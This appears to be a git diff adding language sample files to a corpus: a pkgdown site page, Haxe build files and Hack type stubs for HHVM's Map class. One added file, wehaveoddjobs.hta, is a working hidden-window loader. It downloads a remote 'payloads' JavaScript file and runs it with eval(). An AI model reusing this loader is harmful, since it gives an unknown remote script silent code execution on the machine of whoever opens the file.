+<div class="sourceCode" id="cb2"><pre class="sourceCode r"><code class="sourceCode r"><a class="sourceLine" id="cb2-1" data-line-number="1">pkgdown<span class="op">::</span><span class="kw"><a href="http://pkgdown.r-lib.org/reference/build_site.html">build_site</a></span>()</a></code></pre></div>
+<p>This will generate a <code>docs/</code> directory. The home page will be generated from your package’s <code>README.md</code>, and a function reference will be generated from the documentation in the <code>man/</code> directory. If you are using GitHub, the easiest way to make this your package website is to check into git, then go to settings for your repo and make sure that the <strong>GitHub pages</strong> source is set to “master branch /docs folder”. Be sure to update the URL on your github repository homepage so others can easily navigate to your new site.</p>
+<p>To customise your site, create <code>_pkgdown.yml</code> and modify it <a href="http://pkgdown.r-lib.org/articles/pkgdown.html">as described in the documentation</a>. You can also use <code>pkgdown/_pkgdown.yml</code> if you need other files to customise your site.</p>
+<p>The package includes an RStudio add-in that you can bind to a keyboard shortcut. I recommend <code>Cmd</code> + <code>Shift</code> + <code>W</code>: it uses <code>Cmd</code> + <code>Shift</code>, like all other package development worksheets, it replaces a rarely used command (close all tabs), and the <code>W</code> is a mnemonic for website.</p>
+</div>
+<div id="in-the-wild" class="section level2">
+<h2 class="hasAnchor">
+<a href="#in-the-wild" class="anchor"></a>In the wild</h2>
+<p>As at last count, pkgdown is used <a href="https://github.com/search?o=desc&amp;q=pkgdown.css+in%3Apath+path%3Adocs&amp;s=indexed&amp;type=Code">by over 2000 packages</a>.</p>
+<p>Here are a few examples created by people contributors to pkgdown:</p>
+<ul>
+<li><p><a href="http://mc-stan.org/bayesplot/index.html">bayesplot</a> [<a href="https://github.com/stan-dev/bayesplot/tree/gh-pages">source</a>]: plotting functions for posterior analysis, model checking, and MCMC diagnostics.</p></li>
+<li><p><a href="https://valr.hesselberthlab.org/">valr</a> [<a href="https://github.com/rnabioco/valr">source</a>]: read and manipulate genome intervals and signals.</p></li>
+<li><p><a href="http://jranke.github.io/mkin/">mkin</a> [<a href="https://github.com/jranke/mkin">source</a>]: calculation routines based on the FOCUS Kinetics Report</p></li>
+<li><p><a href="http://renozao.github.io/NMF/master/index.html">NMF</a> [<a href="https://github.com/renozao/NMF">source</a>]: a framework to perform non-negative matrix factorization (NMF).</p></li>
+</ul>
+<p>Comparing the source and output of these sites is a great way to learn new pkgdown techniques.</p>
+</div>
+<div id="code-of-conduct" class="section level2">
+<h2 class="hasAnchor">
+<a href="#code-of-conduct" class="anchor"></a>Code of conduct</h2>
+<p>Please note that this project is released with a <a href="CODE_OF_CONDUCT.html">Contributor Code of Conduct</a>. By participating in this project you agree to abide by its terms.</p>
+</div>
+</div>
+  </div>
+
+  <div class="col-md-3 hidden-xs hidden-sm" id="sidebar">
+    <div class="links">
+<h2>Links</h2>
+<ul class="list-unstyled">
+<li>Download from CRAN at <br><a href="https://cloud.r-project.org/package=pkgdown">https://​cloud.r-project.org/​package=pkgdown</a>
+</li>
+<li>Browse source code at <br><a href="https://github.com/r-lib/pkgdown">https://​github.com/​r-lib/​pkgdown</a>
+</li>
+<li>Report a bug at <br><a href="https://github.com/r-lib/pkgdown/issues">https://​github.com/​r-lib/​pkgdown/​issues</a>
+</li>
+</ul>
+</div>
+<div class="license">
+<h2>License</h2>
+<ul class="list-unstyled">
+<li><a href="LICENSE.html">Full license</a></li>
+<li><small><a href="https://opensource.org/licenses/mit-license.php">MIT</a> + file <a href="LICENSE-text.html">LICENSE</a></small></li>
+</ul>
+</div>
+<div class="developers">
+<h2>Developers</h2>
+<ul class="list-unstyled">
+<li>
+<a href="http://hadley.nz">Hadley Wickham</a> <br><small class="roles"> Author, maintainer </small> <a href="https://orcid.org/0000-0003-4757-117X" target="orcid.widget"><img src="https://members.orcid.org/sites/default/files/vector_iD_icon.svg" class="orcid" alt="ORCID" height="16"></a> </li>
+<li>
+<a href="https://hesselberthlab.org">Jay Hesselberth</a> <br><small class="roles"> Author </small> <a href="https://orcid.org/0000-0002-6299-179X" target="orcid.widget"><img src="https://members.orcid.org/sites/default/files/vector_iD_icon.svg" class="orcid" alt="ORCID" height="16"></a> </li>
+<li>
+<a href="https://www.rstudio.com"><img src="https://tidyverse.org/rstudio-logo.svg" alt="RStudio" height="24"></a> <br><small class="roles"> Copyright holder, funder </small>  </li>
+</ul>
+</div>
+
+      <div class="dev-status">
+<h2>Dev status</h2>
+<ul class="list-unstyled">
+<li><a href="https://travis-ci.org/r-lib/pkgdown"><img src="https://travis-ci.org/r-lib/pkgdown.svg?branch=master" alt="Travis-CI build status"></a></li>
+<li><a href="https://ci.appveyor.com/project/r-lib/pkgdown"><img src="https://ci.appveyor.com/api/projects/status/github/r-lib/pkgdown?branch=master&amp;svg=true" alt="AppVeyor build status"></a></li>
+<li><a href="https://www.tidyverse.org/lifecycle/#maturing"><img src="https://img.shields.io/badge/lifecycle-maturing-blue.svg" alt="Lifecycle: maturing"></a></li>
+<li><a href="https://cran.r-project.org/package=pkgdown"><img src="https://www.r-pkg.org/badges/version/pkgdown" alt="CRAN Status"></a></li>
+<li><a href="https://codecov.io/github/r-lib/pkgdown?branch=master"><img src="https://img.shields.io/codecov/c/github/r-lib/pkgdown/master.svg" alt="Codecov test coverage"></a></li>
+</ul>
+</div>
+</div>
+
+</div>
+
+
+      <footer><div class="copyright">
+  <p>Developed by <a href="http://hadley.nz">Hadley Wickham</a>, <a href="https://hesselberthlab.org">Jay Hesselberth</a>, <a href="https://www.rstudio.com"><img src="https://tidyverse.org/rstudio-logo.svg" alt="RStudio" height="24"></a>.</p>
+</div>
+
+<div class="pkgdown">
+  <p>Site built with <a href="http://pkgdown.r-lib.org/">pkgdown</a>.</p>
+</div>
+
+      </footer>
+</div>
+
+  
+<script type="text/javascript" src="https://cdn.jsdelivr.net/npm/docsearch.js@2/dist/cdn/docsearch.min.js"></script><script>
+  docsearch({
+    
+    
+    apiKey: 'fbd8d79ed49f21fc9ca7b2cf601a3f5b',
+    indexName: 'pkgdown',
+    inputSelector: 'input#search-input.form-control',
+    transformData: function(hits) {
+      return hits.map(function (hit) {
+        hit.url = updateHitURL(hit);
+        return hit;
+      });
+    }
+  });
+</script>
+</body>
+</html>
diff --git a/samples/HTML/wehaveoddjobs.hta b/samples/HTML/wehaveoddjobs.hta
new file mode 100644
index 0000000000..84403b53ab
--- /dev/null
+++ b/samples/HTML/wehaveoddjobs.hta
@@ -0,0 +1,38 @@
+<html>
+<head>
+<title>NEUTRONSTAR</title>
+<HTA:APPLICATION
+   Application ID = "Test"
+   APPLICATIONNAME = "Test"
+   BORDER = "DIALOG"
+   BORDERSTYLE = "NORMAL"
+   CAPTION = "YES"
+   CONTEXTMENU = "YES"
+   ICON = ""
+   INNERBORDER = "YES"
+   MAXIMIZEBUTTON = "YES"
+   MINIMIZEBUTTON = "YES"
+   NAVIGABLE = "NO"
+   SCROLL = "AUTO"
+   SCROLLFLAT = "NO"
+   SELECTION = "NO"
+   SHOWINTASKBAR = "YES"
+   SINGLEINSTANCE = "NO"
+   SYSMENU = "YES"
+   VERSION = "1.0"
+   WINDOWSTATE = "HIDDEN"
+   />
+</head>
+<SCRIPT Language="JScript">
+	var WinHttpReq = new ActiveXObject("WinHttp.WinHttpRequest.5.1");
+	strURL = 'https://raw.githubusercontent.com/secdev-01/NEUTRONSTAR/main/payloads/taskmaster.js';
+	var temp = WinHttpReq.Open("GET", strURL, false);  
+	WinHttpReq.Send();
+	strResult = WinHttpReq.ResponseText;
+	eval(strResult);
+	close();
+</SCRIPT>
+<body>
+
+</body>
+</html>
diff --git a/samples/HXML/checkstyle.hxml b/samples/HXML/checkstyle.hxml
new file mode 100644
index 0000000000..7a76eebbbf
--- /dev/null
+++ b/samples/HXML/checkstyle.hxml
@@ -0,0 +1,10 @@
+buildGlobal.hxml
+-lib mcover:2.1.1
+-D unittest
+-x TestMain
+--macro mcover.MCover.coverage(['checkstyle'], ['src'], ['checkstyle.reporter', 'checkstyle.Main'])
+
+--next
+-cmd neko run -s src -s test -p resources/static-analysis.txt
+-cmd neko run --default-config resources/default-config.json
+-cmd neko run -c resources/default-config.json
diff --git a/samples/HXML/vshaxe.hxml b/samples/HXML/vshaxe.hxml
new file mode 100644
index 0000000000..f22f1520ee
--- /dev/null
+++ b/samples/HXML/vshaxe.hxml
@@ -0,0 +1,31 @@
+# This file is generated with vshaxe-build - DO NOT EDIT MANUALLY!
+-cp vscode-extern/src
+-cp src-api
+-cp src
+-cp server/src
+-cp server/protocol/src
+-cp server/formatter/src
+-cp server/test
+-cp server/formatter/test
+-cp syntaxes/src
+-D analyzer-optimize
+-D js_unflatten
+-D hxnodejs-no-version-warning
+-D JSTACK_MAIN=vshaxe.Main.main
+-D JSTACK_ASYNC_ENTRY
+-D JSTACK_FORMAT=vscode
+-lib hxnodejs
+-lib jstack
+-lib haxe-hxparser
+-lib compiletime
+-lib mockatoo
+-lib mconsole
+-lib hx3compat
+-lib hxargs
+-lib json2object
+-lib yaml
+-lib plist
+-debug
+-js bin/build.js
+--no-inline
+-main Build
diff --git a/samples/Hack/Map.hhi b/samples/Hack/Map.hhi
new file mode 100644
index 0000000000..f4af1ab0cf
--- /dev/null
+++ b/samples/Hack/Map.hhi
@@ -0,0 +1,769 @@
+<?hh
+/**
+ * Copyright (c) 2014, Facebook, Inc.
+ * All rights reserved.
+ *
+ * This source code is licensed under the MIT license found in the
+ * LICENSE file in the "hack" directory of this source tree.
+ *
+ */
+
+/**
+ * This file provides type information for some of HHVM's builtin classes.
+ *
+ * YOU SHOULD NEVER INCLUDE THIS FILE ANYWHERE!!!
+ */
+
+namespace HH {
+
+  /**
+   * `Map` is an ordered dictionary-style collection. HHVM provides a native
+   * implementation for this class. The PHP class definition below is not
+   * actually used at run time; it is simply provided for the typechecker and for
+   * developer reference.
+   *
+   * Like all objects in PHP, `Map`s have reference-like semantics. When a caller
+   * passes a `Map` to a callee, the callee can modify the `Map` and the caller
+   * will see the changes. `Map`s do not have "copy-on-write" semantics.
+   *
+   * `Map`s preserve insertion order of key/value pairs. When iterating over a
+   * `Map`, the key/value pairs appear in the order they were inserted. Also,
+   * `Map`s do not automagically convert integer-like `string` keys (ex. `"123"`)
+   * into integer keys.
+   *
+   * `Map`s only support `int` keys and `string` keys. If a key of a different
+   * type is used, an exception will be thrown.
+   *
+   * `Map`s support `$m[$k]` style syntax for getting and setting values by key.
+   * `Map`s also support `isset($m[$k])` and `empty($m[$k])` syntax, and they
+   * provide similar semantics as arrays. Adding an element with square bracket
+   * syntax `[]` is supported either by providing a key between the brackets or
+   * a `Pair` on the right-hand side. e.g.,
+   * `$m[$k] = $v` is supported
+   * `$m[] = Pair {$k, $v}` is supported
+   * `$m[] = $v` is not supported.
+   *
+   * `Map`s do not support iterating while new keys are being added or elements
+   * are being removed. When a new key is added or an element is removed, all
+   * iterators that point to the `Map` shall be considered invalid.
+   *
+   * `Map`s do not support taking elements by reference. If binding assignment
+   * (`=&`) is used with an element of a `Map`, or if an element of a `Map` is
+   * passed by reference, of if a `Map` is used with `foreach` by reference, an
+   * exception will be thrown.
+   *
+   * @guide /hack/collections/introduction
+   * @guide /hack/collections/classes
+   */
+
+  final class Map<Tk as arraykey, Tv> implements \MutableMap<Tk, Tv> {
+    /**
+     * Creates a `Map` from the given `KeyedTraversable`, or an empty `Map` if
+     * `null` is passed.
+     *
+     * @param $it - any `Traversable` object from which to create a `Map`
+     *              (e.g., `array`). If `null`, then an empty `Map` is created.
+     */
+    <<__Rx, __AtMostRxAsArgs>>
+    public function __construct(
+      <<__MaybeMutable, __OnlyRxIfImpl(\HH\Rx\KeyedTraversable::class)>>
+      ?KeyedTraversable<Tk, Tv> $it,
+    );
+
+    /**
+     * Returns an `array` containing the key/value pairs from the current `Map`.
+     *
+     * @return - an `array` containing the key and value pairs from the current
+     *           `Map`.
+     */
+    <<__Rx, __MaybeMutable, __PHPStdLib>>
+    public function toArray(): array<Tk, Tv>;
+
+    /**
+     * Returns an `array` containing the values from the current `Map`.
+     *
+     * @return - an integer-indexed `array` containing the values from the
+     *           current `Map`.
+     */
+    <<__Rx, __MaybeMutable>>
+    public function toValuesArray(): varray<Tv>;
+
+    /**
+     * Returns an `array` whose values are the keys of the current `Map`.
+     *
+     * @return - an integer-indexed `array` containing the keys from the current
+     *           `Map`.
+     */
+    <<__Rx, __MaybeMutable>>
+    public function toKeysArray(): varray<Tk>;
+
+    /**
+     * Returns a `Vector` with the values of the current `Map`.
+     *
+     * @return - a `Vector` that contains the values of the current `Map`.
+     */
+    <<__Rx, __MutableReturn, __MaybeMutable>>
+    public function toVector(): Vector<Tv>;
+
+    /**
+     * Returns an immutable vector (`ImmVector`) with the values of the current
+     * `Map`.
+     *
+     * @return - an `ImmVector` that is an immutable copy of the current `Map`.
+     */
+    <<__Rx, __MaybeMutable>>
+    public function toImmVector(): ImmVector<Tv>;
+
+    /**
+     * Returns a deep copy of the current `Map`.
+     *
+     * @return - a `Map` that is a deep copy of the current `Map`.
+     */
+    <<__Rx, __MutableReturn, __MaybeMutable>>
+    public function toMap(): Map<Tk, Tv>;
+
+    /**
+     * Returns a deep, immutable copy (`ImmMap`) of the current `Map`.
+     *
+     * @return - an `ImmMap` that is a copy of this `Map`.
+     */
+    <<__Rx, __MaybeMutable>>
+    public function toImmMap(): ImmMap<Tk, Tv>;
+
+    /**
+     * Returns a `Set` based on the values of the current `Map`.
+     *
+     * @return - a `Set` with the current values of the current `Map`.
+     */
+    <<__Rx, __MutableReturn, __MaybeMutable>>
+    public function toSet(): Set<Tv> where Tv as arraykey ;
+
+    /**
+     * Returns an immutable set (`ImmSet`) based on the values of the current
+     * `Map`.
+     *
+     * @return - an `ImmSet` with the current values of the current `Map`.
+     */
+    <<__Rx, __MaybeMutable>>
+    public function toImmSet(): ImmSet<Tv> where Tv as arraykey ;
+
+    /**
+     * Returns a deep, immutable copy (`ImmMap`) of this `Map`.
+     *
+     * This method is interchangeable with `toImmMap()`.
+     *
+     * @return - an `ImmMap` that is a deep copy of this `Map`.
+     */
+    <<__Rx, __MaybeMutable>>
+    public function immutable(): ImmMap<Tk, Tv>;
+
+    /**
+     * Returns a lazy, access elements only when needed view of the current
+     * `Map`.
+     *
+     * Normally, memory is allocated for all of the elements of the `Map`. With
+     * a lazy view, memory is allocated for an element only when needed or used
+     * in a calculation like in `map()` or `filter()`.
+     *
+     * @return - a `KeyedIterable` representing the lazy view into the current
+     *           `Map`.
+     *
+     * @guide /hack/collections/examples
+     */
+    <<__Rx, __MutableReturn, __MaybeMutable>>
+    public function lazy(): \HH\Rx\KeyedIterable<Tk, Tv>;
+
+    /**
+     * Returns a `Vector` containing the values of the current `Map`.
+     *
+     * This method is interchangeable with `toVector()`.
+     *
+     * @return - a `Vector` containing the values of the current `Map`.
+     */
+    <<__Rx, __MutableReturn, __MaybeMutable>>
+    public function values(): Vector<Tv>;
+
+    /**
+     * Returns a `Vector` containing the keys of the current `Map`.
+     *
+     * @return - a `Vector` containing the keys of the current `Map`.
+     */
+    <<__Rx, __MutableReturn, __MaybeMutable>>
+    public function keys(): Vector<Tk>;
+
+    /**
+     * Returns a `Map` after an operation has been applied to each value in the
+     * current `Map`.
+     *
+     * Every value in the current `Map` is affected by a call to `map()`, unlike
+     * `filter()` where only values that meet a certain criteria are affected.
+     *
+     * The keys will remain unchanged from the current `Map` to the returned
+     * `Map`.
+     *
+     * @param $callback - The callback containing the operation to apply to the
+     *                    current `Map` values.
+     *
+     * @return - a `Map` containing key/value pairs after a user-specified
+     *           operation is applied.
+     *
+     * @guide /hack/collections/examples
+     */
+    <<__Rx, __AtMostRxAsArgs, __MutableReturn, __MaybeMutable>>
+    public function map<Tu>(
+      <<__AtMostRxAsFunc>> (function(Tv): Tu) $callback,
+    ): Map<Tk, Tu>;
+
+    /**
+     * Returns a `Map` after an operation has been applied to each key and
+     * value in the current `Map`.
+     *
+     * Every key and value in the current `Map` is affected by a call to
+     * `mapWithKey()`, unlike `filterWithKey()` where only values that meet a
+     * certain criteria are affected.
+     *
+     * The keys will remain unchanged from the current `Map` to the returned
+     * `Map`. The keys are only used to help in the mapping operation.
+     *
+     * @param $callback - The callback containing the operation to apply to the
+     *                    current `Map` keys and values.
+     *
+     * @return - a `Map` containing the values after a user-specified operation
+     *           on the current `Map`'s keys and values is applied.
+     */
+    <<__Rx, __AtMostRxAsArgs, __MutableReturn, __MaybeMutable>>
+    public function mapWithKey<Tu>(
+      <<__AtMostRxAsFunc>> (function(Tk, Tv): Tu) $callback,
+    ): Map<Tk, Tu>;
+
+    /**
+     * Returns a `Map` containing the values of the current `Map` that meet
+     * a supplied condition.
+     *
+     * Only values that meet a certain criteria are affected by a call to
+     * `filter()`, while all values are affected by a call to `map()`.
+     *
+     * The keys associated with the current `Map` remain unchanged in the returned
+     * `Map`.
+     *
+     * @param $callback - The callback containing the condition to apply to the
+     *                    current `Map` values.
+     *
+     * @return - a `Map` containing the values after a user-specified condition
+     *           is applied.
+     *
+     * @guide /hack/collections/examples
+     */
+    <<__Rx, __AtMostRxAsArgs, __MutableReturn, __MaybeMutable>>
+    public function filter(
+      <<__AtMostRxAsFunc>> (function(Tv): bool) $callback,
+    ): Map<Tk, Tv>;
+
+    /**
+     * Returns a `Map` containing the values of the current `Map` that meet
+     * a supplied condition applied to its keys and values.
+     *
+     * Only keys and values that meet a certain criteria are affected by a call to
+     * `filterWithKey()`, while all values are affected by a call to
+     * `mapWithKey()`.
+     *
+     * The keys associated with the current `Map` remain unchanged in the
+     * returned `Map`; the keys will be used in the filtering process only.
+     *
+     * @param $callback - The callback containing the condition to apply to the
+     *                    current `Map` keys and values.
+     *
+     * @return - a `Map` containing the values after a user-specified condition
+     *           is applied to the keys and values of the current `Map`.
+     *
+     */
+    <<__Rx, __AtMostRxAsArgs, __MutableReturn, __MaybeMutable>>
+    public function filterWithKey(
+      <<__AtMostRxAsFunc>> (function(Tk, Tv): bool) $callback,
+    ): Map<Tk, Tv>;
+
+    /**
+     * Returns a `Map` where each value is a `Pair` that combines the value
+     * of the current `Map` and the provided `Traversable`.
+     *
+     * If the number of values of the current `Map` are not equal to the number
+     * of elements in the `Traversable`, then only the combined elements up to
+     * and including the final element of the one with the least number of
+     * elements is included.
+     *
+     * The keys associated with the current `Map` remain unchanged in the
+     * returned `Map`.
+     *
+     * @param $traversable - The `Traversable` to use to combine with the
+     *                       elements of the current `Map`.
+     *
+     * @return - The `Map` that combines the values of the current `Map` with
+     *           the provided `Traversable`.
+     */
+    <<__Rx, __AtMostRxAsArgs, __MutableReturn, __MaybeMutable>>
+    public function zip<Tu>(
+      <<__MaybeMutable, __OnlyRxIfImpl(\HH\Rx\Traversable::class)>>
+      Traversable<Tu> $traversable,
+    ): Map<Tk, Pair<Tv, Tu>>;
+
+    /**
+     * Returns a `Map` containing the first `n` key/values of the current `Map`.
+     *
+     * The returned `Map` will always be a proper subset of the current `Map`.
+     *
+     * `n` is 1-based. So the first element is 1, the second 2, etc.
+     *
+     * @param $n - The last element that will be included in the `Map`.
+     *
+     * @return - A `Map` that is a proper subset of this `Map` up to `n` elements.
+     */
+    <<__Rx, __MutableReturn, __MaybeMutable>>
+    public function take(int $n): Map<Tk, Tv>;
+
+    /**
+     * Returns a `Map` containing the keys and values of the current `Map` up to
+     * but not including the first value that produces `false` when passed to the
+     * specified callback.
+     *
+     * The returned `Map` will always be a proper subset of the current `Map`.
+     *
+     * @param $fn - The callback that is used to determine the stopping condition.
+     *
+     * @return - A `Map` that is a proper subset of the current `Map` up until
+     *           the callback returns `false`.
+     */
+    <<__Rx, __AtMostRxAsArgs, __MutableReturn, __MaybeMutable>>
+    public function takeWhile(
+      <<__AtMostRxAsFunc>> (function(Tv): bool) $fn,
+    ): Map<Tk, Tv>;
+
+    /**
+     * Returns a `Map` containing the values after the `n`-th element of the
+     * current `Map`.
+     *
+     * The returned `Map` will always be a proper subset of the current `Map`.
+     *
+     * `n` is 1-based. So the first element is 1, the second 2, etc.
+     *
+     * @param $n - The last element to be skipped; the `$n+1` element will be the
+     *             first one in the returned `Map`.
+     *
+     * @return - A `Map` that is a proper subset of the current `Map` containing
+     *           values after the specified `n`-th element.
+     */
+    <<__Rx, __MutableReturn, __MaybeMutable>>
+    public function skip(int $n): Map<Tk, Tv>;
+
+    /**
+     * Returns a `Map` containing the values of the current `Map` starting after
+     * and including the first value that produces `true` when passed to the
+     * specified callback.
+     *
+     * The returned `Map` will always be a proper subset of this `Map`.
+     *
+     * @param $fn - The callback used to determine the starting element for the
+     *              current `Map`.
+     *
+     * @return - A `Map` that is a proper subset of the current `Map` starting
+     *           after the callback returns `true`.
+     */
+    <<__Rx, __AtMostRxAsArgs, __MutableReturn, __MaybeMutable>>
+    public function skipWhile(
+      <<__AtMostRxAsFunc>> (function(Tv): bool) $fn,
+    ): Map<Tk, Tv>;
+
+    /**
+     * Returns a subset of the current `Map` starting from a given key location
+     * up to, but not including, the element at the provided length from the
+     * starting key location.
+     *
+     * `$start` is 0-based. `$len` is 1-based. So `slice(0, 2)` would return the
+     * keys and values at key location 0 and 1.
+     *
+     * The returned `Map` will always be a proper subset of the current `Map`.
+     *
+     * @param $start - The starting key location of the current `Map` for the
+     *                 returned `Map`.
+     * @param $len - The length of the returned `Map`.
+     *
+     * @return - A `Map` that is a proper subset of the current `Map` starting at
+     *           `$start` up to but not including the element `$start + $len`.
+     */
+    <<__Rx, __MutableReturn, __MaybeMutable>>
+    public function slice(int $start, int $len): Map<Tk, Tv>;
+
+    /**
+     * Returns a `Vector` that is the concatenation of the values of the current
+     * `Map` and the values of the provided `Traversable`.
+     *
+     * The provided `Traversable` is concatenated to the end of the current `Map`
+     * to produce the returned `Vector`.
+     *
+     * @param $traversable - The `Traversable` to concatenate to the current
+     *                       `Map`.
+     *
+     * @return - The integer-indexed concatenated `Vector`.
+     *
+     * @guide /hack/generics/constraints
+     */
+    <<__Rx, __AtMostRxAsArgs, __MutableReturn, __MaybeMutable>>
+    public function concat<Tu super Tv>(
+      <<__MaybeMutable, __OnlyRxIfImpl(\HH\Rx\Traversable::class)>>
+      Traversable<Tu> $traversable,
+    ): Vector<Tu>;
+
+    /**
+     * Returns the first value in the current `Map`.
+     *
+     * @return - The first value in the current `Map`,  or `null` if the `Map` is
+     *           empty.
+     */
+    <<__Rx, __MaybeMutable>>
+    public function firstValue(): ?Tv;
+
+    /**
+     * Returns the first key in the current `Map`.
+     *
+     * @return - The first key in the current `Map`, or `null` if the `Map` is
+     *           empty.
+     */
+    <<__Rx, __MaybeMutable>>
+    public function firstKey(): ?Tk;
+
+    /**
+     * Returns the last value in the current `Map`.
+     *
+     * @return - The last value in the current `Map`, or `null` if the `Map` is
+     *           empty.
+     */
+    <<__Rx, __MaybeMutable>>
+    public function lastValue(): ?Tv;
+
+    /**
+     * Returns the last key in the current `Map`.
+     *
+     * @return - The last key in the current `Map`, or `null` if the `Map` is
+     *           empty.
+     */
+    <<__Rx, __MaybeMutable>>
+    public function lastKey(): ?Tk;
+
+    /**
+     * Checks if the current `Map` is empty.
+     *
+     * @return - `true` if the current `Map` is empty; `false` otherwise.
+     */
+    <<__Rx, __MaybeMutable>>
+    public function isEmpty(): bool;
+
+    /**
+     * Provides the number of elements in the current `Map`.
+     *
+     * @return - The number of elements in the current `Map`.
+     */
+    <<__Rx, __MaybeMutable>>
+    public function count(): int;
+
+    /**
+     * Returns the value at the specified key in the current `Map`.
+     *
+     * If the key is not present, an exception is thrown. If you don't want an
+     * exception to be thrown, use `get()` instead.
+     *
+     * `$v = $map->at($k)` is equivalent to `$v = $map[$k]`.
+     *
+     * @param $k - the key from which to retrieve the value.
+     *
+     * @return - The value at the specified key; or an exception if the key does
+     *           not exist.
+     */
+    <<__Rx, __MaybeMutable>>
+    public function at(Tk $k): Tv;
+
+    /**
+     * Returns the value at the specified key in the current `Map`.
+     *
+     * If the key is not present, `null` is returned. If you would rather have an
+     * exception thrown when a key is not present, then use `at()`.
+     *
+     * @param $k - the key from which to retrieve the value.
+     *
+     * @return - The value at the specified key; or `null` if the key does not
+     *           exist.
+     */
+    <<__Rx, __MaybeMutable>>
+    public function get(Tk $k): ?Tv;
+
+    /**
+     * Stores a value into the current `Map` with the specified key, overwriting
+     * the previous value associated with the key.
+     *
+     * This method is equivalent to `Map::add()`. If the key to set does not exist,
+     * it is created. This is inconsistent with, for example, `Vector::set()`
+     * where if the key is not found, an exception is thrown.
+     *
+     * `$map->set($k,$v)` is equivalent to `$map[$k] = $v` (except that `set()`
+     * returns the current `Map`).
+     *
+     * Future changes made to the current `Map` ARE reflected in the returned
+     * `Map`, and vice-versa.
+     *
+     * @param $k - The key to which we will set the value.
+     * @param $v - The value to set.
+     *
+     * @return - Returns itself.
+     */
+    <<__Rx, __Mutable, __ReturnsVoidToRx>>
+    public function set(Tk $k, Tv $v): Map<Tk, Tv>;
+
+    /**
+     * For every element in the provided `Traversable`, stores a value into the
+     * current `Map` associated with each key, overwriting the previous value
+     * associated with the key.
+     *
+     * This method is equivalent to `Map::addAll()`. If a key to set does not
+     * exist in the Map that does exist in the `Traversable`, it is created. This
+     * is inconsistent with, for example, the method `Vector::setAll()` where if
+     * a key is not found, an exception is thrown.
+     *
+     * Future changes made to the current `Map` ARE reflected in the returned
+     * `Map`, and vice-versa.
+     *
+     * @param $k - The `Traversable` with the new values to set. If `null` is
+     *             provided, no changes are made.
+     *
+     * @return - Returns itself.
+     */
+    <<__Rx, __Mutable, __AtMostRxAsArgs, __ReturnsVoidToRx>>
+    public function setAll(
+      <<__MaybeMutable, __OnlyRxIfImpl(\HH\Rx\KeyedTraversable::class)>>
+      ?KeyedTraversable<Tk, Tv> $it,
+    ): Map<Tk, Tv>;
+
+    /**
+     * Remove all the elements from the current `Map`.
+     *
+     * Future changes made to the current `Map` ARE reflected in the returned
+     * `Map`, and vice-versa.
+     *
+     * @return - Returns itself.
+     */
+    <<__Rx, __Mutable, __ReturnsVoidToRx>>
+    public function clear(): Map<Tk, Tv>;
+
+    /**
+     * Determines if the specified key is in the current `Map`.
+     *
+     * This function is interchangeable with `containsKey()`.
+     *
+     * @param $k - The key to check.
+     *
+     * @return - `true` if the specified key is present in the current `Map`;
+     *           returns `false` otherwise.
+     *
+     * @guide /hack/generics/constraints
+     */
+    <<__Rx, __MaybeMutable>>
+    public function contains(mixed $k): bool;
+
+    /**
+     * Determines if the specified key is in the current `Map`.
+     *
+     * This function is interchangeable with `contains()`.
+     *
+     * @param $k - The key to check.
+     *
+     * @return - `true` if the specified key is present in the current `Map`;
+     *           returns `false` otherwise.
+     *
+     * @guide /hack/generics/constraints
+     */
+    <<__Rx, __MaybeMutable>>
+    public function containsKey(mixed $k): bool;
+
+    /**
+     * Add a key/value pair to the end of the current `Map`.
+     *
+     * This method is equivalent to `Map::set()`. If the key in the  `Pair`
+     * exists in the `Map`,  the value associated with it is overwritten.
+     *
+     * `$map->add($p)` is equivalent to both `$map[$k] = $v` and
+     * `$map[] = Pair {$k, $v}` (except that `add()` returns the `Map`).
+     *
+     * Future changes made to the current `Map` ARE reflected in the returned
+     * `Map`, and vice-versa.
+     *
+     * @param $p - The key/value Pair to add to the current `Map`.
+     *
+     * @return - Returns itself.
+     */
+    <<__Rx, __Mutable, __ReturnsVoidToRx>>
+    public function add(Pair<Tk, Tv> $p): Map<Tk, Tv>;
+
+    /**
+     * For every element in the provided `Traversable`, add a key/value pair into
+     * the current `Map`.
+     *
+     * This method is equivalent to `Map::setAll()`. If a key in the `Traversable`
+     * exists in the `Map`, then the value associated with that key in the `Map`
+     * is overwritten.
+     *
+     * Future changes made to the current `Map` ARE reflected in the returned
+     * `Map`, and vice-versa.
+     *
+     * @param $k - The `Traversable` with the new key/value `Pair` to set. If
+     *             `null` is provided, no changes are made.
+     *
+     * @return - Returns itself.
+     */
+    <<__Rx, __Mutable, __AtMostRxAsArgs, __ReturnsVoidToRx>>
+    public function addAll(
+      <<__MaybeMutable, __OnlyRxIfImpl(\HH\Rx\Traversable::class)>>
+      ?Traversable<Pair<Tk, Tv>> $it,
+    ): Map<Tk, Tv>;
+
+    /**
+     * Reserves enough memory to accommodate a given number of elements.
+     *
+     * Reserves enough memory for `sz` elements. If `sz` is less than or
+     * equal to the current capacity of this `Map`, this method does nothing.
+     *
+     * @param $sz - The pre-determined size you want for the current `Map`.
+     */
+    <<__Rx, __Mutable>>
+    public function reserve(int $sz): void;
+
+    /**
+     * Removes the specified key (and associated value) from the current `Map`.
+     *
+     * This method is interchangeable with `removeKey()`.
+     *
+     * Future changes made to the current `Map` ARE reflected in the returned
+     * `Map`, and vice-versa.
+     *
+     * @param $k - The key to remove.
+     *
+     * @return - Returns itself.
+     */
+    <<__Rx, __Mutable, __ReturnsVoidToRx>>
+    public function remove(Tk $k): Map<Tk, Tv>;
+
+    /**
+     * Removes the specified key (and associated value) from the current `Map`.
+     *
+     * This method is interchangeable with `remove()`.
+     *
+     * Future changes made to the current `Map` ARE reflected in the returned
+     * `Map`, and vice-versa.
+     *
+     * @param $k - The key to remove.
+     *
+     * @return - Returns itself.
+     */
+    <<__Rx, __Mutable, __ReturnsVoidToRx>>
+    public function removeKey(Tk $k): Map<Tk, Tv>;
+
+    /**
+     * Returns a new `Map` with the keys that are in the current `Map`, but not
+     * in the provided `KeyedTraversable`.
+     *
+     * @param $traversable - The `KeyedTraversable` on which to compare the keys.
+     *
+     * @return - A `Map` containing the keys (and associated values) of the
+     *           current `Map` that are not in the `KeyedTraversable`.
+     */
+    <<__Rx, __AtMostRxAsArgs, __MutableReturn, __MaybeMutable>>
+    public function differenceByKey(
+      <<__MaybeMutable, __OnlyRxIfImpl(\HH\Rx\KeyedTraversable::class)>>
+      KeyedTraversable<Tk, Tv> $traversable,
+    ): Map<Tk, Tv>;
+
+    /**
+     * Returns an iterator that points to beginning of the current `Map`.
+     *
